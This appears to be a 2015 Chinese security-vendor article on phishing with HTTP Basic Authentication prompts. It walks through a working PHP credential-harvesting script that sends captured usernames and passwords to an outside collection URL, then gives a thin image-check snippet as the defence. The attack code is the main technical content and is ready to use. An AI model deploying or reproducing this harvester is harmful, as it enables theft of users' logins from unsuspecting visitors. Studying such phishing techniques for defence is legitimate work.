关于冰盾 | 使用条款 | 网站地图
 
基础认证钓鱼攻击与防范
基础认证钓鱼攻击与防范
作者:冰盾防火墙 网站:www.bingdun.com 日期:2015-02-09
 

首先大家回想一下,在访问路由器的时候是不是会弹出这样的一个弹窗让你输入帐号密码登录呢?没错,这就是最近很火的基础认证。那我们如何用php来实现钓鱼攻击呢?

在php手册中有以下代码来演示基础认证登录。

if (!isset($_SERVER['PHP_AUTH_USER'])) {
      header('WWW-Authenticate: Basic realm="My Realm"');
      header('HTTP/1.0 401 Unauthorized');
      echo 'Text to send if user hits Cancel button';
      exit;
      } else {
      echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
      echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
      }

首先定义HTTP头为WWW-Authenticate,然后相应为401 这样就可以构造一个简单的基础认证框。

基本流程,用户访问被污染服务器,服务器返回信息,浏览器访问图片地址,图片服务器返回401响应,http头为WWW-Authenticate .....  ,浏览器弹出基础认证框, 由于Location:被定义为收信地址所以,浏览器跳转并转递信息至收信地址。 攻击完成。

贴出攻击代码吧。

<?php
      $info=@$_GET['info'];
      if(!isset($_SERVER['PHP_AUTH_USER'])){
      header("WWW-Authenticate:BASIC Realm=$info");
      header("HTTP/1.0 401 Unauthorized");
      exit;
      }else{
      /*获取用户名,密码进行验证*/
      $user=$_SERVER['PHP_AUTH_USER'];
      $pwd=$_SERVER['PHP_AUTH_PW'];
      extract($_GET,EXTR_SKIP);
      if($user&amp;&amp;$pwd){
      header("Location:http://www.baidu.com/config/log.php?user=$user&amp;pass=$pwd");
      }else{
      header("WWW-Authenticate:BASIC Realm=user");
      header("HTTP/1.0 401 Unauthorized");
      exit;
      }
     }
    ?>

防范措施:

由于这种攻击并不是由漏洞造成的所以我们的防范手法只能去确定图片地址是否为有效图片。

我们可以用以下代码来验证图片是否有效!

<?php
      $url = 'http:// www.2cto.com /img/baidu_sylogo1.gif';
      if( @fopen( $url, 'r' ) )
      {
      echo 'File Exits';
      }else{
      echo 'File Do Not Exits';
      }
    ?>

 

 
最新内容:
SQL Server安全问题案例研究[2015-02-09]
黑客是如何知道我们常用的密码的[2015-02-09]
黑客都是使用哪些方法入侵我们电脑的[2015-02-09]
ARP欺骗的实现[2015-02-09]
黑客组织Anonymous疯狂入侵中国站点思路分析[2015-02-09]
九种突破IDS入侵检测系统的实用方法[2015-02-09]
相关内容:

合作伙伴: 黑基网 补天科技 威盾科技 站长下载 新飞金信 北京电信 ZOL应用下载
中华人民共和国增值电信业务经营许可证京ICP备14024464 公安备案号 京1081234 
版权所有©2003-2014 冰盾防火墙  www.BingDun.com 法律声明
总机:(010)51661195